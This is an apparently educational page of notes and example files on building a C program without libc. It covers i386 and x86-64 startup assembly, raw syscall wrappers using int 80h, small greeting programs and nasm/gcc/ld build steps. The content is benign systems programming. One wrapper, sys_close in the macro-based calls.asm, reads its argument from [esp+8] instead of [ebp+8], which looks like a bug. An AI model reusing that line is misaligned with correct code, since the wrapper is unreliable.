        push ebp
        mov ebp, esp
        push ebx
        mov ebx, [ebp+8]
        mov ecx, [ebp+12]
        mov edx, [ebp+16]
        int 80h
        mov edx, eax
        and edx, 0fffff000h
        cmp edx, 0fffff000h
        jne .okay
        mov [sys_errno], eax
        mov eax, -1
.okay:
        pop ebx
        mov esp, ebp
        pop ebp
        ret

sys_read:
        mov eax, 3
        jmp generic_syscall_3

sys_write:
        mov eax, 4
        jmp generic_syscall_3
/* calls.h */
#ifndef CALLS_H_SENTRY
#define CALLS_H_SENTRY

int sys_read(int fd, void *buf, int size);
int sys_write(int fd, const void *buf, int size);
extern int sys_errno;

#endif
/* greet.c */
#include "calls.h"

static const char dunno[] = "I don't know how to greet you\n";
static const char hello[] = "Hello, dear ";

static int string_length(const char *s)
{
    int i;
    for (i = 0; s[i]; i++)
        {}
    return i;
}

int main(int argc, char **argv)
{
    if (argc < 2) {
        sys_write(1, dunno, sizeof(dunno) - 1);
        return 1;
    }
    sys_write(1, hello, sizeof(hello) - 1);
    sys_write(1, argv[1], string_length(argv[1]));
    sys_write(1, "!\n", 2);
    return 0;
}
nasm -f elf start.asm
nasm -f elf calls.asm
gcc -m32 -Wall -c greet.c
ld -m elf_i386 start.o calls.o greet.o -o greet
Detailed notes - 4.12: (*) A C program without the standard library

1

experiment: identify which parts of a C executable come from the language

and which come from startup code and library services

2

initial greeting program uses printf

  • if argc < 2: print a missing-name message and return status 1
  • otherwise print "Hello, dear ", argv[1], and "!", then return 0
  • the example uses the first supplied argument; it does not reject extra arguments

a small dynamically linked executable omits most library machine code

  • loader brings required shared libraries into the process at startup
  • strace exposes startup operations as well as the application's output and exit
  • author's measured run: about 7-8.5 KB executable and 27 system calls
  • sizes and counts describe that particular system/build

3

-static requests static linking

  • needed library code is included in the executable
  • author's result: roughly 510-565 KB and 10 system calls
  • removing shared-library loading does not remove library initialization

4

replace formatted output with the operating system's write operation

  • arguments: file descriptor, address of bytes, byte count
  • C wrapper translates the C calling convention into the syscall convention
  • unistd.h declares the POSIX wrapper
  • its actual return type is ssize_t and its count parameter is size_t
  • result reports how many bytes were written, or an error

5

using write alone still leaves normal C startup and library linkage

  • greet2 outputs prefix, name, and suffix in three separate calls
  • constant arrays use sizeof(array) - 1 to exclude their terminating zero
  • the argument's length is found with a small local loop
  • a robust output routine also handles short writes and failures

to remove libc, replace the startup routine as well

  • executable entry point in this example is _start
  • main is called by startup code, not directly by the kernel
  • startup prepares main's arguments and exits after main returns

6

initial 32-bit process stack and C function arguments have different layouts

  • initial [ESP]: argc
  • initial ESP + 4: start of the argv pointer array
  • load argc, compute argv, then push argv followed by argc
  • call main according to the chosen C calling convention
  • result returns in EAX; pass it to the exit system call
  • startup must also honor the compiler/ABI's required stack alignment

7

book's Linux i386 _start:

  • save argc in ECX and argv address in EAX
  • push those arguments in reverse order; call main; reclaim 8 argument bytes
  • move return status to EBX; put exit syscall number 1 in EAX; int 80h

FreeBSD i386 variant:

  • place exit status on the stack with the expected extra stack slot
  • invoke its syscall convention with int 80h

next component: private syscall wrappers

  • sys_write and sys_read avoid confusing them with libc wrappers
  • read writes into its buffer, so that parameter is not const
  • sys_errno holds this example's saved syscall error

8

three-argument syscall wrappers can share one assembly body

  • sys_read loads syscall number 3 into EAX
  • sys_write loads number 4
  • both jump to generic_syscall_3

Linux i386 body:

  • save EBP; set up stack frame; save callee-preserved EBX
  • arguments at EBP+8, EBP+12, EBP+16 go into EBX, ECX, EDX
  • int 80h enters the kernel
  • successful result stays in EAX
  • error path saves the raw result in sys_errno and returns -1
  • restore EBX and EBP and return with the original stack arrangement

error convention:

  • Linux raw errors are negative error numbers, normally -4095 ... -1
  • the book's mask test also includes -4096
  • its sys_errno stores the negative result; libc errno normally stores the positive number

FreeBSD i386 body:

  • syscall arguments already occupy the required stack positions
  • carry flag reports failure
  • on error, save the kernel result and return -1
  • otherwise return the kernel's result directly

9

greet3 uses only the private sys_write wrapper

  • declare its prototype and replace each write call
  • keep string_length and the greeting logic in ordinary C
  • no standard header is needed for these chosen types and declarations
  • a private calls.h can declare sys_read, sys_write, and extern sys_errno
  • protect that header with an include guard

build separate object files:

  • nasm -f elf start.asm
  • nasm -f elf calls.asm
  • gcc -Wall -c greet3.c
  • ld start.o calls.o greet3.o -o greet3

when the host defaults to 64-bit objects:

  • compile C with -m32
  • select ld's elf_i386 emulation with -m elf_i386
  • all objects must target the same architecture
  • toolchain defaults such as position-independent output may need corresponding settings
  • direct linking deliberately omits the normal C startup files and libc

10

a minimal executable can be much smaller

  • author's example was 816 bytes; this size is not a portable promise
  • important result: this chosen program can run without linking libc
  • "zero runtime" here means no compulsory library runtime for the selected code
  • language features and compiler decisions determine which support code is required
  • C does not have exclusive ownership of this approach; other languages/subsets can also use it

11

control over startup and runtime dependencies is useful for kernels and firmware

  • these environments may lack a normal hosted C library
  • they need deliberate control over memory, hardware, and initialization
  • suitability depends on implementation and chosen features, not only language name

12

compiler-generated helpers can still introduce unresolved references

  • operations unavailable directly on the target may call support routines
  • GCC commonly supplies such helpers through libgcc
  • link an appropriate support library or provide the required implementation
  • direct ld use may need an explicit library search path

compiler-generated memory operations are another dependency

  • a loop or aggregate operation may become a call to memcpy/memset
  • -ffreestanding selects freestanding compilation assumptions
  • it does not guarantee that no helper or memory-function calls are generated
  • inspect the final undefined symbols and supply any required routines

13

distinguish a language's usable subset from a particular compiler's output

  • this experiment removes libc from a small, selected program
  • it does not establish that every C program needs no runtime support
  • a freestanding build must account for the actual compiler, target, and options
Examples & tests (19 files) - 4.12: (*) A C program without the standard library
Book exampleBook example: no_libc/In catalog
no_libc/calls.asmAssembly / 34 lines
global      sys_read
global      sys_write
global      sys_errno

section     .text

generic_syscall_3:
        push    ebp
        mov ebp, esp
        push    ebx
        mov ebx, [ebp+8]
        mov ecx, [ebp+12]
        mov edx, [ebp+16]
        int 80h
        mov edx, eax
        and edx, 0fffff000h
        cmp edx, 0fffff000h
        jne .okay
        mov [sys_errno], eax
        xor eax, eax
        not eax
.okay:
        pop ebx
        mov esp, ebp
        pop ebp
        ret

sys_read:   mov eax, 3
        jmp     generic_syscall_3
sys_write:  mov eax, 4
        jmp     generic_syscall_3

section     .bss
sys_errno   resd    1
no_libc/greet.cC / 11 lines
#include <stdio.h>

int main(int argc, char **argv)
{
    if(argc < 2) {
        printf("I don't know how to greet you\n");
        return 1;
    }
    printf("Hello, dear %s!\n", argv[1]);
    return 0;
}
no_libc/greet2.cC / 24 lines
#include <unistd.h>

static const char dunno[] = "I don't know how to greet you\n";
static const char hello[] = "Hello, dear ";

static int string_length(const char *s)
{
    int i = 0;
    while(s[i])
        i++;
    return i;
}

int main(int argc, char **argv)
{
    if(argc < 2) {
        write(1, dunno, sizeof(dunno)-1);
        return 1;
    }
    write(1, hello, sizeof(hello)-1);
    write(1, argv[1], string_length(argv[1]));
    write(1, "!\n", 2);
    return 0;
}
no_libc/greet3.cC / 24 lines
int sys_write(int fd, const void *buf, int size);

static const char dunno[] = "I don't know how to greet you\n";
static const char hello[] = "Hello, dear ";

static int string_length(const char *s)
{
    int i = 0;
    while(s[i])
        i++;
    return i;
}

int main(int argc, char **argv)
{
    if(argc < 2) {
        sys_write(1, dunno, sizeof(dunno)-1);
        return 1;
    }
    sys_write(1, hello, sizeof(hello)-1);
    sys_write(1, argv[1], string_length(argv[1]));
    sys_write(1, "!\n", 2);
    return 0;
}
no_libc/hello.cC / 7 lines
int sys_write(int fd, const void *buf, int size);

int main(int argc, char **argv)
{
    sys_write(1, "Hello, world\n", 13);
    return 0;
}
no_libc/myecho.cC / 19 lines
int sys_write(int fd, const void *buf, int size);

static int string_length(const char *s)
{
    int i;
    for(i = 0; s[i]; i++)
        ;
    return i;
}

int main(int argc, char **argv)
{
    int i;
    for(i = 0; i < argc; i++) {
        sys_write(1, argv[i], string_length(argv[i]));
        sys_write(1, "\n", 1);
    }
    return 0;
}
no_libc/start.asmAssembly / 14 lines
global _start
extern main

section .text
_start:     mov ecx, [esp]  ; argc in ecx
        mov eax, esp
        add eax, 4      ; argv in eax
        push    eax
        push    ecx
        call    main
        add esp, 8      ; clean the stack
        mov ebx, eax    ; now call _exit
        mov eax, 1
        int 80h
no_libc/tr_hello.cC / 7 lines
#include <unistd.h>

int main()
{
    write(1, "Hello, world\n", 13);
    return 0;
}
Section test12 (04)In catalog
cmdl.asmAssembly / 65 lines
global _start

section .text

return  db 10,0

strlen: ; < (address of string) > (length of string)
    push ebp
    mov ebp, esp
    xor ecx, ecx
    mov eax, [ebp+8]    ; address of string
.lp:    cmp [eax+ecx], byte 0
    je .end
    inc ecx
    jmp short .lp
.end:
    mov eax, ecx        ; output string length
    mov esp, ebp
    pop ebp
    ret

print_str: ; < (address of string) > (nothing)
    push ebp
    mov ebp, esp
    push ebx

    mov ebx, [ebp+8]    ; address of string

    push ebx
    call strlen
    add esp, 4

    mov edx, eax        ; string length in edx for write
    mov ecx, ebx        ; string address in ecx for write
    mov ebx, 1      ; standard output
    mov eax, 4      ; write
    int 80h

    pop ebx
    mov esp, ebp
    pop ebp
    ret

_start:
    mov ebx, [esp]      ; number of parameters (argc)
    mov esi, esp        ; address of addresses of
    add esi, 4      ;   command line parameter (argv)
lp:
    push dword [esi]    ; current parameter address (argv[i])
    call print_str
    add esp, 4

    push dword return
    call print_str
    add esp, 4

    add esi, 4      ; next parameter
    dec ebx

    cmp ebx, 0
    jne lp

    mov ebx, 0      ; success
    mov eax, 1      ; _exit
    int 80h
cmdl.cC / 29 lines
/*
 * - argc: argument count (including program name).
 * - argv: array of string pointers (char **).
 * - argv[0] is the program name.
 * - argv[argc] is always NULL.
 */
#include <stdio.h>

int main(int argc, char **argv)
{
    int i;
    char **p;

    /* Print program name */
    printf("My name is %s\n", argv[0]);

    /* Method 1: Iterate using argc */
    for (i = 1; i < argc; i++)
        printf("[%s]\n", argv[i]);

    /* Method 2: Iterate using NULL terminator */
    p = argv + 1;
    while (*p) {
        printf("[%s]\n", *p);
        p++;
    }

    return 0;
}
greet-02.cC / 24 lines
#include <unistd.h>

static const char dunno[] = "I don't know how to greet you\n";
static const char hello[] = "Hello, dear ";

static int string_length(const char *s)
{
    int i;
    for (i = 0; s[i]; i++)
        {}
    return i;
}

int main(int argc, char **argv)
{
    if (argc < 2) {
        write(1, dunno, sizeof(dunno) - 1);
        return 1;
    }
    write(1, hello, sizeof(hello) - 1);
    write(1, argv[1], string_length(argv[1]));
    write(1, "!\n", 2);
    return 0;
}
greet-03.cC / 24 lines
#include "calls.h"

static const char dunno[] = "I don't know how to greet you\n";
static const char hello[] = "Hello, dear ";

static int string_length(const char *s)
{
    int i;
    for (i = 0; s[i]; i++)
        {}
    return i;
}

int main(int argc, char **argv)
{
    if (argc < 2) {
        sys_write(1, dunno, sizeof(dunno) - 1);
        return 1;
    }
    sys_write(1, hello, sizeof(hello) - 1);
    sys_write(1, argv[1], string_length(argv[1]));
    sys_write(1, "!\n", 2);
    return 0;
}
greet-04.cC / 24 lines
#include "calls00.h"

static const char dunno[] = "I don't know how to greet you\n";
static const char hello[] = "Hello, dear ";

static int string_length(const char *s)
{
    int i;
    for (i = 0; s[i]; i++)
        {}
    return i;
}

int main(int argc, char **argv)
{
    if (argc < 2) {
        sys_write(1, dunno, sizeof(dunno) - 1);
        return 1;
    }
    sys_write(1, hello, sizeof(hello) - 1);
    sys_write(1, argv[1], string_length(argv[1]));
    sys_write(1, "!\n", 2);
    return 0;
}
greet.asmAssembly / 43 lines
;; greet.asm ;;
global _start
extern putstr
extern getstr
extern quit

section .data
what    db "What is your name?",10,0
hello   db "Hello ",0
end db ":)",10,0

section .bss
inp resb 256
inplen  equ $-inp

section .text
_start:
    push what
    call putstr
    add esp, 4

    push inplen
    push inp
    call getstr
    add esp, 8

    push hello
    call putstr
    add esp, 4

    push inp
    call putstr
    add esp, 4

    push end
    call putstr
    add esp, 4

    jmp .quit

.quit:
    push dword 0
    call quit
greet.cC / 11 lines
#include <stdio.h>

int main(int argc, char **argv)
{
    if (argc < 2) {
        printf("I don't know how to greet you\n");
        return 1;
    }
    printf("Hello, dear %s!\n", argv[1]);
    return 0;
}
Section testx86-64 C program without libcIn catalog
without_syslib64.cC / 21 lines
#include "scalls.h"

static const char new_line[] = "\n";

int str_len(const char *s)
{
    int i;
    for (i = 0; s[i]; i++)
        {}
    return i;
}

int main(int argc, char **argv)
{
    int i;
    for (i = 0; i < argc; i++) {
        sys_write(1, argv[i], str_len(argv[i]));
        sys_write(1, new_line, 1);
    }
    return 0;
}
start64.asmAssembly / 17 lines
global _start

extern main

section .text

_start:
    mov rdi, [rsp]  ; argc
    lea rsi, [rsp + 8]  ; argv

    and rsp, -16    ; align stack before call
    call    main

    mov     edi, eax    ; call _exit
    mov     eax, 60
    syscall

calls.asmAssembly / 81 lines
%macro scall 1-4
; system call
;   < (interrupt number, param1, param2, param3)
  %if %0 > 1
    push    ebx         ; it can only spoil eax, ecx, edx
  %endif

  %rep %0
    %rotate -1
    push    dword %1    ; push in reverse order
  %endrep
    pop     eax
  %if %0 > 1
    pop     ebx
    %if %0 > 2
    pop     ecx
      %if %0 > 3
    pop     edx
      %endif
    %endif
  %endif
    int     80h

    cmp     eax, 0xfffff000
    jb %%end
    mov     [sys_errno], eax
    mov     eax, -1
%%end:
  %if %0 > 1
    pop     ebx
  %endif
%endmacro

%macro pbegin 0
    push    ebp
    mov     ebp, esp
%endmacro

%macro pend 0
    mov     esp, ebp
    pop     ebp
    ret
%endmacro

global sys_errno
global sys_exit
global sys_read
global sys_write
global sys_open
global sys_close

section .bss

sys_errno resd 1

section .text

sys_exit:
    pbegin
    scall   1, [ebp+8]
    pend

sys_read:
    pbegin
    scall   3, [ebp+8], [ebp+12], [ebp+16]
    pend

sys_write:
    pbegin
    scall   4, [ebp+8], [ebp+12], [ebp+16]
    pend

sys_open:
    pbegin
    scall   5, [ebp+8], [ebp+12], [ebp+16]
    pend

sys_close:
    pbegin
    scall   6, [esp+8]
    pend
calls.hC / 11 lines
#ifndef CALLS_H_SENTRY
#define CALLS_H_SENTRY

int sys_exit(int code);
int sys_read(int fd, void *buf, int size);
int sys_write(int fd, const void *buf, int size);
int sys_open(const void *file_name, int flags, int mode);
int sys_close(int fd);
extern int sys_errno;

#endif

Previous: Assembly Language Reading map Next: Operating Systems

Comments

Leave a comment Sign in All comments